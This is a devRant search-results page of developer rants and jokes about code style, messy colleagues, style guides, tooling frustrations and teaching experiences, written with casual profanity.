Join devRant
Do all the things like
++ or -- rants, post your own rants, comment on others' rants and build your customized dev avatar
Sign Up
Pipeless API
From the creators of devRant, Pipeless lets you power real-time personalized recommendations and activity feeds using a simple API
Learn More
Search - "code style"
-
This code review gave me eye cancer.
So, first of all, let me apologize to anyone impacted by eye cancer, if that really is a thing... because that sounds absolutely horrible. But, believe me, this code was absolutely horrible, too.
I was asked to code review another team's script. I don't like reviewing code from other teams, as I'm pretty "intense" and a nit-picker -- my own team knows and expects this, but I tend to really piss off other people who don't expect my level of input on "what I really think" about their code...
So, I get this script to review. It's over 200 lines of bash (so right away, it's fair game for a boilerplate "this should be re-written in python" or similar reply)... but I dive in to see what they sent.
My eyes.
My eyes.
MY EYES.
So, I certainly cannot violate IP rules and post any of the actual code here (be thankful - be very thankful), but let me just say, I think it may be the worst code I've ever seen. And I've been coding and code-reviewing for upwards of 30 years now. And I've seen a LOT of bad code...
I imagine the author of this script was a rebellious teenager who found the google shell scripting style guide and screamed "YOU'RE NOT MY REAL DAD!" at it and then set out to flagrantly violate every single rule and suggestion in the most dramatic ways possible.
Then they found every other style guide they could, and violated all THOSE rules, too. Just because they were there.
Within the same script... within the SAME CODE BLOCK... 2-space indentation... 4-space indentation... 8-space indentation... TAB indentation... and (just to be complete) NO indentation (entire blocks of code within another function of conditional block, all left-justified, no indentation at all).
lowercase variable/function names, UPPERCASE names, underscore_separated_names, CamelCase names, and every permutation of those as well.
Comments? Not a single one to be found, aside from a 4-line stanza at the top, containing a brief description of that the script did and (to their shame), the name of the author. There were, however, ENTIRE BLOCKS of code commented out.
[ In the examples below, I've replaced indentation spacing with '-', as I couldn't get devrant to format the indentation in a way to suitably share my pain otherwise... ]
Within just a few lines of one another, functions defined as...
function somefunction {
----stuff
}
Another_Function() {
------------stuff
}
There were conditionals blocks in various forms, indentation be damned...
if [ ... ]; then
--stuff
fi
if [ ... ]
--then
----some_stuff
fi
if [ ... ]
then
----something
something_else
--another_thing
fi
And brilliantly un-reachable code blocks, like:
if [ -z "$SOME_VAR" ]; then
--SOME_VAR="blah"
fi
if [ -z "$SOME_VAR" ]
----then
----SOME_VAR="foo"
fi
if [ -z "$SOME_VAR" ]
--then
--echo "SOME_VAR must be set"
fi
Do you remember the classic "demo" programs people used to distribute (like back in the 90s) -- where the program had no real purpose other than to demonstrate various graphics, just for the sake of demonstrating graphics techniques? Or some of those really bad photo slideshows, were the person making the slideshow used EVERY transition possible (slide, wipe, cross-fade, shapes, spins, on and on)? All just for the sake of "showing off" what they could do with the software? I honestly felt like I was looking at some kind of perverse shell-script demo, where the author was trying to use every possible style or obscure syntax possible, just to do it.
But this was PRODUCTION CODE.
There was absolutely no consistency, even within 1-2 adjacent lines. There is no way to maintain this. It's nearly impossible even understand what it's trying to do. It was just pure insanity. Lines and lines of insanity.
I picture the author of this code as some sort of hybrid hipster-artist-goth-mental-patient, chain-smoking clove cigarettes in their office, flinging their own poo at their monitor, frothing at the mouth and screaming "I CODE MY TRUTH! THIS CODE IS MY ART! IT WILL NOT CONFORM TO YOUR WORLDLY STANDARDS!"
I gave up after the first 100 lines.
Gave up.
I washed my eyes out with bleach.
Then I contacted my HR hotline to see if our medical insurance covers eye cancer.32 -
HTML: Hate This Meaningless Life
CSS: Can't Style Shit
JS: Just Shit
Java: Just another vicious asshole
PHP: PHP Hates People
Go: (the "fuck yourself" is silent)
.NET: Now Everybody Thinks (they can code)
I really should find a more productive thing to do on my breaks.19 -
Colleague: "Python is slow..too much slow."
Then I look at the code:
Eight nested for loops, inside two of them, two function calls and three list comprehension. That function has 2 nested loops and two "objects.all()" Django method, plus a list comprehension too..
Yep, Python is slow.20 -
So my school got invited to this coding competition for high-schoolers and among them, I was a part member and part mentor along side our CS professor since I was the most proficient coding stuff (although most of I do were JS and Python stuff although i can read other code)
Then this guy showed up.
He was picked by the faculty to take the WebDev competition. He knows how to use Photoshop for Photo retouchings and stuff but here's a problem.
He can't code nor make a proper website design.
So being the kind person I am, I volunteered to teach him what I know about frontend and HTML. This goes on for 4 weeks of nonstop practices, coding sessions and finally, Code In The Dark-style practice (which involves the person to code a full website for only 15 minutes).
When he was able to finish and mastered some of what I taught. I gave him the go signal and we were on to the road to victory.
Unfortunately our first try, we won nothing.
He said after the competition "I give up man, I can't take this!" but I said, "Just because you lost a f*cking competition once, doesn't mean you're a motherf*cking loser in life. There's still one more chance."
So I pressured our WebDev guy to be more better, taught him about mockups, JavaScript and etc.
Then the second attempt a year later, me and the WebDev guy won and moved on the finals. However, he didn't win the finals and I was the lone champion reprsenting our school.
Although he didn't win, he was happy I carried the torch and win the prize.
Prior to that, he asked me "Hey, how to be like you?"
I only answered, "Achievements are just gold with cloth and paper. Wear it lightly".
Fast forward to today, he's now the school's head design coordinator and layout designer for their newspaper column. He also practices his coding skills by frequenting on our coding sessions even when the competition was over.
But whenever someone asks "who taught you this?" he would only look to me, smile and say "that person right there".7 -
I really hate people who prefer this coding style:
if (condition)
{
// something shitty here
}
Instead of this:
if(condition){
// perfectly clean code
}41 -
Guy from work: "I have a messy coding style ¯\_(ツ)_/¯".
No, you have a bad coding style. Your repetitive uncommented spaghetti code isn't an artistic expression of your quick imaginative mind jumping from thought to thought. It's a horrible mess that shows me that either you can't do any better or you don't care.8 -
So sick of my colleague who keeps writing:
if (something) {
doWork();
} else {
}
He insists that it is the best code style to include the empty else clause. WRONG YOU #!*&@!14 -
Only one sticker.
I go door-to-door every Sunday, "Excuse me dear sir/madam, do you have a moment to talk about our lord and savior Haskell?".
Most people slam the door shut in my face, but every lost family I convert to the way of the monad is worth it.
Even if they don't believe in the same deity, even if they express their love for the divine through something as misguided as Typescript or Swift or whatever, as long as they embrace the truth of strong types and composable code, as long as they at least read the gospel of the functional style once in their lives, have one enlightened moment where they see the glory of morphisms, it's all good.34 -
I think the coolest project I did was a few years ago, it was actually a Minecraft plugin.
I decided to learn Java for Minecraft, and a few months after I started learning Java, I was approached by someone who'd like to work with me to create this full-blown Gun Game style gamemode for Minecraft. I made it clear I didn't have the most knowledge, but I was willing to learn.
We began working on the project, the projects main class was bigger than any project I had worked on. Within a few months, it became one of the more popular plugins out there, even though we were still in an alpha mode. Had nearly 1,000 servers running the plugin, over 10k+ players total testing out the plugin.
Cause of this project, I learnt how to properly organize my code, how to make it efficient, learnt how to network, learned how to properly secure and verify anything being sent by the client, working with dependencies, adding features that can support a bunch of other plugins that other developers had, and a bunch more.
Sadly we couldn't finish the plugin anymore, so we gave someone else the source code who has kept it updated to this day. (I know I didn't provide much insight into what I'm saying and just gave a general overview, got a killer headache.)2 -
Me: Well, it's time to make a new app!
* opens up VS Code *
* opens folder selection dialog *
* creates a new folder called "notes app" *
* yarn inits that folder *
* installs react and react-dom *
* installs webpack, webpack-cli, babel-core, babel-loader, babel-preset-env, babel-preset-react, style-loader, css-loader, file-loader, html-webpack-plugin and clean-webpack-plugin as a dev dependency (install is pending) *
* copies a webpack config from some other project *
* creates a babelrc file *
* copies a yarn script called "build:dev" which would launch webpack *
* dev dependencies installed *
* tries to save *
* vscode doesn't save because files differ *
* tries to copy dev dependencies *
* fail *
* tries again *
* saves *
* writes bare-bones index.jsx *
* yarn build:dev *
* opens build/index.html in firefox *
* gets satisfaction *
* writes bare-bones App.jsx which is a react component but it's an entire app *
* yarn build:dev *
* opens build/index.html in firefox *
* gets satisfaction *
-- trim --
* walks out of his room to his mom's room where's sbc is located *
* grandma plays solitare on laptop *
* i ask grandma for a laptop *
* grandma gives me laptop *
* glues all components into App.jsx *
* yarn start:dev (magic of webpack-dev-server) *
* opens localhost:8080 in firefox *
* searches how to update a component prop *
* nothing found *
* registers on devrant and verifies his email *
* writes this rant *14 -
As a backend dev, I have this habit of just dropping script & style tags all over the place, and using inline style attributes on divs.
Then when I'm done I just link the code to a frontend dev, they'll hate it so much it will be cleaned up within minutes.13 -
Person: I liked your personal website’s design, is it ok if I use it?
Me: A personal website should reflect your own style of design. Try creating one instead of using mine.
Person: Oh well, I liked yours more so I used it. Thanks anyway!
They literally have an exact copy of the code with different content. 😒10 -
I realize I've ranted about this before, but...
Fuck APIs.
First the fact that external services can throw back 500 errors or timeouts when their maintainer did a drunk deploy (but you properly handled that using caching, workers, retry handlers, etc, right? RIGHT?)...
Then the fact that they all speak a variety of languages and dialects (Oh fuck why does that endpoint return a JSON object with int keys instead of a simple array... wait the params are separated with pipe characters? And the other endpoint uses SOAP? Fuck I need to write another wrapper class around the client...)
But the worst thing: It makes developers live in this happy imaginary universe where "malicious" is not a word.
"I found this cloud service which checks our code style" — hmm ok, they seem trustworthy. Hope they don't sell our code, but whatever.
"And look at this thing, it automatically makes database backups, just have to connect to it to DigitalOcean" — uhhh wait...
"And I just built this API client which sends these forms to be OCR processed" — Fuck... stop it... there are bank accounts numbers on those forms... Where's that API even located? What company?
* read their privacy policy *
"We can not guarantee the safety of your personal data, use at your own risk [...] we are located in Russia".
I fucking hate these millennial devs who literally fail to get their head out of the cloud.
Somehow they think it's easier to write all these NodeJS handlers and layers around some API, which probably just calls ImageMagick + Tesseract on the other side.
If I wasn't so fucking exhausted, I'd chop of their heads... but they're like hydra, you seal one privacy breach and another is waiting to be merged, these kids just keep spewing their crap into easy packages, they keep deploying shitty heroku apps... ugh.
😖8 -
Creating PHP Sites in class:
Teacher: Right guys open your DreamWeaver Code
Me: I found it easier to use Sublime, Just need to do the CSS
Teacher: I don't think you can create a style sheet without DreamWeaver
Me: 🙄🙄🖕👏👏👏👍28 -
Bittersweet moment today, the interns last day was today, the improvements they made over the last 4 months, putting up with my “Gordon Ramsey” style attitude... definitely goes down in the books as one of best groups of freshman interns. They all truly thanked me for what they learned I sat them down and did a code review with them... but fooled them and showed them code they wrote 4 months ago.. they totally forgot about.. and couldn’t believe it was their own code.. that’s the level professionalism and improvement they made writing embedded software in 4 months.. they can’t wait to for next summer, neither can I.
Even had some of the electrical interns asking our department manager if they could switch to more software focused during their next rotation. Just so they can be under me.
I may be hard and a dick at time... but they learn! And it says a lot when you have college students impacted enough and see other students benefit so much that the “outsiders” wanna switch majors or focuses.!2 -
I was trying to style a website drop down menu (select tag) that would look the same on all browsers using css only. i removed the default arrow down, and i was trying to add a minimal arrow pointing down, and it took me a while to do it. Take a look at the pic.
However when i looked at the code. there was no code for that little arrow. I was confused for a few minutes, looking at both html and css. thinking how is this even possible, then i realised.
My f-ing screen was dirty. Dirt was similarly shaped like the thing i wanted to achieve. I was laughing at myself for a few minutes.
btw i did it in the end 😊 no dirt involved1 -
Few months ago I stopped making anything on WordPress (code style wasn't for me, less reinventing the wheel), yet got offered well paid job with mostly WP responsibilities.
People ask me - why I stopped making stuff on WordPress? Welp...9 -
[WARNING] THIS RANT IS NOT FOR HULKS OR SHE-HULKS
Here we fucking go again, currently, the time is 1:09 am in Malaysia, while I received a Pull request, so as a senior software engineer it is my duty to review the code before approving to merge develop branch. And this mother fucker decided to do this right after our CTO warned him about his coding style. Refer to https://devrant.com/rants/4699002/... for free cancer.
Our entire team is not happy working with this mother fucker, he is too arrogant.
Btw if he wants to insult me using codes, at least have the decency to draw some UML diagram , write proper documentation and write a proper logic, isn't better?62 -
So this bunch of idiots made this huge iOS app using lots of global variables, lots of spaghetti code and basically no separation between logic and UI.
Another bunch of idiots were told to take that iOS app and basically port it to Android. And they ported that same code mess, almost line by line, and adding some weird shit.
Now the HQ of the first bunch of idiots realize that the second bunch of idiots were too slow/inefficient/whatever, and they're now asking US to solve that Android mess and add another shitload of features.
The worst part of it, is that both bunches of idiots are still working on it, so we're basically forced to follow the same shitty style until the first deadline, otherwise we'd die suffocated by stinky merge conflicts. Which will happen anyway because our changes are going to overlap.
Oh, and the PM refuses to understand the disaster coming and there's six hours of time zone difference.
Fuck this shit.7 -
Why is the contributing manual of your open source project more thoughtfully cultivated than your code style guide and testing procedure?
Why the fuck do you care about the message in my PR, or even merge vs rebase of commits, when your spaghetti-tomatosource is so richly saturated with critically minced bugmeat?
Why are you standing there, shouting at me about your convoluted rules, in your little brown uniform? Why do I feel like the enemy when I contribute a useful fix, something which makes the code work better?
You know what, fuck all of you, you jilted acetous neckbeards, I will deploy my secret weapon, I will bypass the power you hold over your tiny fascist digital dominions.
If you play it like this, I will summon the nefarious vile side of Open Source. I will usurp your throne. I will stab out your crying eyes, rip out your conceited tongue, impale your lonely heart.
Tremble before me! I wield the almighty, legendary Fork!
The king is dead, long live the king!5 -
So we had a dev on our team who was on a performance improvement plan, wasn't going to pass it, but decided to quit before it was over saving us 2 weeks.
I was ecstatic when he left (caused us hell). I knew updating his code wouldn't be great, but he was only here 6 months
"how bad could it be" - practiseSafeHex - moron, idiot, suicidal.
A little run down would be:
- Despite the fact that we use Angular 2+, one of his apps is Angular 1 ... Nobody on the team has ever used Angular 1.
- According to his package.json he seems to require both mongoDb and Cloudant (couchDb).
- Opened up a config file (in plaintext) to find all the API keys and tokens.
- Had to rename all the projects (micro services) because they are all following a different style of camelcase and it was upsetting my soul.
- All the projects have a "src" folder for ... you know ... the source code, except sometimes we've decided to not use it for you know, reasons.
- Indentation is a mess.
- He has ... its like ... ok I don't even know wtf that is suppose to be.
- Curly braces follow a different pattern depending on the file you open. Sometimes even what function you look at.
- The only comments, are ones that are not needed. For example 30+ lines of business logic and model manipulation ... no comment. But thank god we have a comment over `Fs.readFile(...)` saying /* Read the config file */. Praise Jesus for that one, would have taken me all week to figure that out.
Managers have been asking me how long the "clean up" will take. They've been pushing me towards doing as little as possible and just starting the new features on top of this ... this "code".
The answer will be ... no ... its getting deleted, any machine its ever been on is getting burned, and any mention of it will be grounds for death.6 -
Resurrect happypenguin.org
This particular site appeared in the year 1998 with the goal to make gaming on Linux easier and more fun.
Unfortunately, 2013 the site went down due to lack of funding and time for the creator Bob Zimbinski. He released the database to the public but removed the code itself because it was created in the 90's and was a big security risk.
I want to resurrect happypenguin.org and I want some brave souls who want to participate with this. I am not a coder (I can only sysadmin) so It would be awesome if someone wanted to help out with this.
Would be awesome if you could make if look like the classic site, or make it very similar to it or https://distrowatch.com/ that also has a very retro style to it. It would also be great if the site was ad-free.
I will take care of the hosting part (servers, DNS, domain).50 -
My friend loves Dreamweaver... And continuously says that he doesn't understand what people see in it that is so wrong... It does the job right?...... Fucking blind...
Uses a bootstrap plugin which generates HTML code for bootstrap.
I did not know this at the time.
Comes to me the night before submission.
He: Dude i need help quick! I've got the presentation tomorrow morning and bootstrap fucked up the links to my style sheets or something, my page is broken and won't work. I should have done what you did and gone for Foundation...
Me: Yeah, because the bootstrap framework definitely affects the style links...
He: help me out man, please! I can't do this anymore!
I had my submission the day after him to prepare still...
Me: Teamviewer. Now.
Log on to Teamviewer.
See what he's using to code...
Dreamweaver..... Niiiiice....
I go through the code. There are empty divs with &nbsc; in them everywhere.. some HTML elements haven't been closed, no comments, indentation seems to be completely random. All the usual shit storm of a novice web designer.
The only thing is, this guy I know knows how to indent, I've seen his previous work. Why is this so horrible then???
I ask what the hell happened, it looked like a nuclear explosion happened!
He: Yeah I'm using this great plugin for Dreamweaver which lets me click and it puts in Bootstrap elements! It's great!
........ You're blaming the bootstrap framework for affecting your links to your stylesheets, you're using an elements generator, you're not checking what the FUCK it puts into your code, not fixing the indenting, not checking the standard HTML rules are followed AND YOU WONDER WHY IT'S BROKEN???
Kill me now.4 -
1. No more coding on paper! Why can some already write essays on laptops but programmers are stuck with "analog"?
2. No vendor lock-ins! Teach free, cross-platform development, not VB.NET.
3. No more professors stuck in the eighties! If all you know is 6800 assembly, GTFO. I heard NASA was hiring...
4. Enforce code style consistency, proper documentation and even VCS for larger projects
5. Algorithms -> scripting -> programming. Don't quickly explain the basics, then throw students straight into Java.10 -
dear anyone looking to teach kids programming (especially organizations):
- please be realistic. teach things your students can use. how to debug, how to solve realistic, real-world problems. not how to make a turtle draw a circle, that's not programming.
- please don't have blocks. just don't. they hurt.
- focus on your content instead of putting up posters on the wall with celebrities talking about the importance of programming
- don't call it 'code,' call it 'program.' do you know how different muggles think they are?
- please teach in a logical order. too many times have I seen commands --> functions --> variables/variable types --> then back to functions and return types.
- don't set an appropriate "age" to do it. please. its enough for people to learn to program, but to be told they're too "old" for a course? I can't tell you how many forgetful seniors and special needs students have been insulted. and don't even get me started on being too young. knowledge is knowledge, skill is skill, ability is ability.
- teach concepts with programming. don't separate them. they work better when they're taught together.
- understanding is more important than style. for beginners, fuck style. all of your program could be all on one line for fucks sake. I've had teachers chose style > functionality, because, fuck working programs, right?
- let your content speak for itself. this is not the place for celebrity endorsements.
- give resources for after a lesson is complete. when a beginner is finished, recommend more resources. you're never done learning.
most of these were things code.org did wrong. fuck them. I was in a constructive criticism mood today…5 -
I recalled a seemingly simple task I took on.
We were building a booking system, and I had to figure out how to retrieve bookings by a certain date range.
Upfront, the tasked seemed simple until I realised I had to both figure out the logic and the SQL statements needed to retrieve all bookings within a certain date range in one query.
I ended up drawing a model to help me visualise the various date-range criteria to be satisfied. And used unit tests to help me think through each date range criterion and make sure they were accurate. Some were obviously from paranoia, but better to be safe than sorry...
After that, I had wrote down raw SQL directly into Sequel Pro first to make sure my query logic was accurate too, before translating into something the ORM equivalent. This was when I learned how to define and use variables in SQL. The variables were throw-away code; I just didn't want to have to hard-code the test date-ranges over and over again; minimise chances of spelling errors.
Needless to say, felt my problem-solving skills went up one level after this task. Saw my coding style and unit tests improve. And also the thought processes that go into how to maintain code quality...4 -
As a German developer living in Germany, I am used to write my code completely in English. In all of my former companies that was also the norm. In one company, we even talked completely in English with each other to a point where even if only German people where in a room, they would default to English at one point in a conversation because it became second nature to us.
(That company was very international and we had a lot of people from all over the world working there.)
Now, I work at a new German company that focuses on the German market. And for some reason I failed to ask them:
Do you write your code in English?
Because that's the norm, isn't it!? I just assumed it to be the case.
Nope! This time it is a mess of German and English term intermixing in glorious abysmal ways I never thought possible.
Sometimes we translate terms, sometimes we don't. So you have to wrap your mind around collections of words that COULD mean the same thing unless they don't. Best case, you have two words for the same thing, but I've seen up to five words (or abbreviations) to describe one business entity. Madness.
And don't get me started on the plurals. In English, it's almost exclusively: add an `s`.
In German, the singular and plural can be the same (e.g. all nouns ending with `-er`) so tough luck determining if you are on an object or an array of objects. (Weak typing language in use does not help either but that's an entirely different rant.)25 -
Client: You are bad developers. Your code has bugs and the site isn't even pretty. And why is it so damn expensive??
Us: ...
Same client (a month later): I need this campaign landing page with the option to register and an admin for user management. It should be done till the day after tomorrow because the URL is already in print. Here's the catalogue (in .pdf) in which it will appear. Use it as a style guide.
FUCK YOU!2 -
Me today at class, doing a group work, while suddenly I saw my colleague’s code looking very odd.
Me : “Why is your code like that?”
Her : “Like what?”
Me : “Its not spaced correctly... look its way over there”
Her : “Oh well, I just like it like that, its my style”
Me “...”
And im just like, if she post her code at SO, she wouldve been eaten alive...22 -
No, listen to me. I cannot approve this PR because your code does not comply with our code style. All the imports and annotations must be sorted in ascending order by length. They must all make fir-like blocks of code. Because it looks nice.
Now go and fix your code
I just smiled and walked away to obfuscate my code with firs . I had no idea what to even say to that... I still don't14 -
I love group projects.
There is no greater feeling than, after you set up the repository with the first code files, your team mate changes the indentation and commenting style in every file to his own style without even discussing the general coding style rules in the group first.
Fucking awesome start.
Go eat a sack of unwashed hobo balls you filthy cunt.3 -
Got the best compliment on an interview :3
Submitted a coding take home assignment. Was told by the tech lead that the code looked like they wrote it themselves! There was nothing they would change in terms of style or approach :37 -
A nice word to all developers who say stuff like "I know I write bad code, but what does it matter.":
Please try to think in a logical way about what this part you are about to write has to do. It is much more difficult to rewrite code, the longer you wait after you started to code.
Bad code can have big impacts on different levels.
For example financially: Bad coding style or program structure can lead to thousands or much more in losses because of nasty bugs, bad performance, expandability or maintainability.
Think about quality over quantity.
A little example: I had to work together with other coders to meet a fucking tight deadline. The last day we coded like crazy and these dudes started to apply styling changes (CSS) directly as inline styles to the HTML code, instead of taking a few minutes more to find where in the CSS files they had to make the changes.
At the end of the deadline we had more stylingbugs than before. It took us another whopping 3 hours to fix what they had done.
So next time you code: Thinking before coding is mostly faster than just straightahead coding and fixing at the end. 😉2 -
Github Inc. (Feel good inc. parody)
=========================
Ha-ha-ha-ha-ha-ha-ha-ha-ha-ha-ha-ha-ha.
Github.
Fetch it, fetch it, fetch it, Github.
Fetch it, fetch it, fetch it, Github.
Fetch it, fetch it, fetch it, Github.
Fetch it, fetch it, fetch it, Github.
Fetch it, fetch it, fetch it, Github.
Fetch it, fetch it, fetch it, Github.
(change) Fetch it (change), Fetch it (change), Fetch it (change), Github
(change) fetch it (change), fetch it (change), fetch it (change), Github
Repos breaking down on pull request
Juniors have to go cause they don't know wack
So while you filling the commits and showing branch trees
You won't get paid cause it's all damn free
You set a new linter and a new phenomenal style
Hoping the new code will make you smile
But all you wanna have is a nice long sleep.
But your screams they'll keep you awake cause you don't get no sleep no.
git-blame, git-blame on this line
What the f*ck is wrong with that
Take it all and recompile
It is taking too lonnng
This code is better. This code is free
Let's clone this repo you and me.
git-blame, git-blame on this line
Is everybody in?
Laughing at the class past, fast CRUD
Testing them up for test cracks.
Star the repos at the start
It's my portfolio falling apart.
Shit, I'm forking in the code of this here.
Compile, breaking up this shit this y*er.
Watch me as I navigate.
Ha-ha-ha-ha-ha-ha.
Yo, this repo is Ghost Town
It's pulled down
With no clowns
You're in the sh*t
Gon' bite the dust
Can't nag with us
With no push
You kill the git
So don't stop, git it, git it, git it
Until you're the maintainers
And watch me criticize you now
Ha-ha-ha-ha-ha.
Break it, break it, break it, Github.
Break it, break it, break it, Github.
Break it, break it, break it, Github.
Break it, break it, break it, Github.
git-blame, git-blame on this line
What the f*ck is wrong with that
Take it all and recompile
It is taking too lonnng
This code is better. This code is free
Let's clone this repo you and me.
git-blame, git-blame on this line
Is everybody in?
Don't stop, shit it, git it.
See how your team updates it
Steady, watch me navigate
Aha-ha-ha-ha-ha.
Don't stop, shit it, git it.
Peep at updates and reconvert it
Steady, watch me git reset now
Aha-ha-ha-ha-ha.
Github.
Push it, push it, push it, Github.
Push it, push it, push it, Github.
Push it, push it, push it, Github.
Push it, push it, push it, Github.2 -
When the pm learns how F12 and use Google console to change HTML style, for example the color of the font.
He proclaims produly to everyone, I can code like you guys now.2 -
Update on UWP File explorer! Exciting stuff first!
Reveal style was applied to the home page grid (That thing in WinX where the borders change color in proximity to the mouse)
Clickable buttons in the title bar! This is the first step to tabs!
Converted a lot of things that were generated dynamically in C# to UserControls in XAML, for easier reading and even improved code-behind options.
Pulled my hair out getting rid of System.IO - System.IO is not made for UWP and stops working in certain situations. Now using Windows.Storage, which is a lot more async. I have gotten much friendlier with the dispatcher.
Pain from the operation is really fading and school doesn't start for a couple days, so I hope to get a beta out before school starts, and more realistically, get the tab system done before school starts.10 -
Oh my dear DevRant, please add code-formatting standards & check-style validation on submitted code snippets, because the wrong indentations of code snippet posts on DevRant is driving me crazy, check-style ftw!2
-
I'm working on a programming language with a "bytecode" interpreter and a compiler that translates source code to said bytecode and... it sort of actually works!
I want to recreate an Erlang-style environment, currently you can write functions, call C++ functions via wrappers, have immutable-only values, and it has no explicit control structure apart from statement sequencing and the if-expression because I want to make it as functional as possible. Next thing on the list is to add a green threads implementation and ability to spawn and send messages to processes.
Still a WIP and heck even design-in-progress.
Now for the rant:
I'm using CMake for building C++ (interpreter) and Stack for Haskell (compiler) and I've been trying to get them to talk to each other for hours because I want CMake to manage the Stack build too and shove all the executables into one place. CMake documentation is weird and Stack isn't too helpful either, so I guess I'll just spend another few hours trying to get Stack to fuckin reveal its build directory to CMake and/or build to a given directory. Ugh.8 -
❤️ Swift ❤️
for (i = 0; i < polygon.count; i++) {
// some print statement
} **
This highly advanced and futuristic piece of code made the Swift compiler eat 14+ GB of RAM while trying to syntax-highlight, before crashing my 8 GB-equipped Macbook.
** yeah, "C-style 'for' loopz syntaxx deprecated since Swift 3 blah blah". Let's reinvent an industry-standard for no goddam reason, because Swift is the FUTURE, oh, and because fuck you by the way.3 -
So, I had a friend who hated VS Code like a fuckton alot however, most of my friends are VS Code users and he's the only one who uses atom. He say that it's greater than VS Code and code then would die sooner.
Fast forward to today, he now ranted at my Discord DM about atom ahving slow startups, extensions that doesn't work, that kind of shit, not to mention hentried to commit improperly indented code (we have nazi style enforcement in out projects regarding codestyle) and made CodeClimate ranted over it.
"That's what you get for shitting VS Code" I said. Hours later, he tried VS Code and he instantly fell in love with it.
One down, more to go12 -
When I discovered Clean Code, design patterns, TDD and BDD. It just clicked. Ever since everything build so easy and obviously. I no longer have most of the code problems folks rant here about.
That's when it came to me: it's not enough to know how to write code. To climb off those amateur shoes I must adopt those methodologies, so that the code would be decoupled from me, from my style, and I've got to let tests drive my code rather than vice versa to have a flexible and reliable codebase that is cheap and easy to maintain/extend.40 -
1. My senior told me that my code is crashing.
2. I check the code and told him that it is not my doing. As there was lots of nested if-else as I prefer to keep a variable and update it in if conditions. Like a filters rather than trees with branches. What I say, I knew my coding style.
3. Then he show me my git commit and I am having existential crises.
Am I missing days? How can I? I mean was I abducted and in mean time some alien took my place and they placed this memory of me coding?
Ah! man I think I am possessed by some inexperienced developer. I seriously need some fucked up crash to exorcise him.3 -
Cringed when I saw camelCase, snake_case, PascalCase and CONSTS (for non consts) in 10 consecutive lines of code! 😖😖😖
I suppose if you don't know which coding style to pick... Just try them all!!!!! 😱7 -
I've seen several rants about dumb/useless teachers, college and the CS degree studies; today is a good day to vent out some "old" memories.
Around two semesters ago I enrolled in a Database seminar with this guy, a tall geek from the 80's with a squeaky voice, so squeaky mice could had an aneurysm if they listened to him.
Either way this guy was a mess, he said he was an awesome coder, that we were still "peasants" when it came to coding, that relational databases had nothing on him since he was an awesome freelancer and did databases every day, that we had to redo the programming course with him and with his shitty, pulled out of the ass own C++ style guide with over 64 different redacted rules.
He gave us sample code of "how it should be done" in Java...it ain't my favorite language but fuck me a fucking donkey could have written better code with his ass!! He even rewrote Java's standard input function and made it highly inefficient. He still wrote in a structural paradigm in OOP languages! And he dared to make this code reviews were he would proyect someone's code and mock it in front of the class as he took off points, sometimes going to the negative realm (3,2,1,0,-1...)
But you know what's shittier? That he actually didn't even attend, 90% of the time, it was literally this:
> Good morning class
> Checks attendance. . .
> I'll be back, I'm going to check in...
> 1 hour 45 minutes later (class was 2 hrs long) - comes back
> do you have any doubts?
> O.o no...? I'm ok.
> We're done
Not only that, he scheduled from 4 to 17 homeworks throughout the week, I did the math, that was around 354 files from everyone; of course he didn't check them, other students from higher semesters did and they gained each point taken from students making students from lower semesters get the short end of the stick.
How did I pass? He didn't understood my code or database schema and he knew he couldn't fail me as he had no ground to stand on.
Thanks for listening, if you got to the end of this long ass post and had a similar experience I'd love to read it.13 -
1. Slack. Pretty good chat app for dev companies, I use it to prevent people standing next to my desk 40 times a day.
2. Unit testing tools, especially when fully automated using a git master branch hook, something like codeship/jenkins, and a deployment service.
3. Jetbrains IDEs. I love Vim, but Jetbrains makes theming, autocompleting & code style checks with mixed templating languages a breeze.
4. Urxvt terminal. It's a bit of work at the start, but so extremely fast and customizable.
5. Cinnamon or i3. Not really dev tools, but both make it easy to organize many windows.
6. A smart production bug logger. I tend to use Bugsnag, Rollbar or Sentry.
7. A good coffee machine. Preferably some high pressure espresso maker which costs more than the CEO's car, using organic fairtrade hipster beans with a picture of a laughing south american farmer. And don't you dare fuck it up with sugar.
8. Some high quality bars of chocolate. Not to consume yourself, but to offer to coworkers while they wait for you to fix a broken deploy. The importance of office politics is not to be underestimated.1 -
OK I'm going write some serious heaps of code, my commits will fucking ddos the repository!
All I need is some tunes to drown out the office noise. Hey this song is quite good. Haha Google suggests my favorite song from 2 years ago, let's give that a try next. Oh I didn't know there was a new album out... hmm but I don't like everything... lets find out which 2 songs are good enough to add to a playlist by skipping aimlessly through it. Come to think of it, this style is not really that great for coding, maybe something with less vocals. Oh I know, I'll see if I can find some postmetal goa triphop electroswing dubpsy remix of that on YouTube, that would be enjoyable. No... I like the original better, although I'm a bit bored with it, maybe there's a similar artist hiding in a corner on Bandcamp, or Soundcloud... hey that's a cool mix, I wonder where that sample is from, lets try to find it...4 -
Worst: The guy gave me 5 minutes to code a given assignment on paper. I did all the logic and told him I was missing a function whose name I would just Google. He told me I can't always Google. Well... I won't be coding on paper either.
Best: I was given the assignment to clone a part of a production site. Assignment was intended for 3 days and I was given 5 hours. Completition wasn't important, only structure and coding style counted. I cloned everything and even added new features.
You just can't always be in the zone. I hope more interviewers would take that into account and design better questions.4 -
Me: here's the code.
Sr: allright, looks fairly ok. Just change all *FIELD* modifiers to protected rather than private.
Me: what? Why???
Sr: bcz that's the code style we've adopted.
Me: srsly? If so.. Where do you use private fields then?
Sr: nowhere. We use either protected or public so we could extend any class we want9 -
Tabs or spaces?
A script that replaces <your project's style> with <your preference> whenever you pull and does the opposite just before committing.
Spread code not war10 -
Structure: decades of programming in too many languages to enumerate. I lean functional, but only when the language doesn't fight it. No matter what I'm doing, my code is immutable in practice, if not paradigm.
Syntax: No one thing in particular. I code differently depending on the language.
When I start learning a language, I'll find the standard style checker and create a project where I write an example of every single rule.
The end result is generally a quick intro to the language and a bonus understanding of the hot sports opinion in said language. I call this an ocean boiler.
I lean heavily into autoformatting because I've worked on too many projects to care, and I have a general expectation that something which is important enough to make a code standard is important enough to be enforced in tooling. I'd rather spend my time solving problems that thinking about stylistics.5 -
1. Naming all variables with letters of the alphabets
2. Not indenting (screw tabs VS spaces, I could use anything here)
3. Putting all src files in one directory
4. Writing the entire code without using any functions
5. Writing code and asking me to fix linting
6. Asking why they should follow language style guidelines4 -
WTF is with the entire Angular2 eco system and "half instructions". Started learning it and every inch is a struggle, out dated docs and code samples and then this style of shit:
Google: "Angular2 and bootstrap"
Result: "Install ng-bootstrap to get native bootstrap components written in Angular by the Angular UI team"
Me: Install != work
Google: "ng-bootstrap not working"
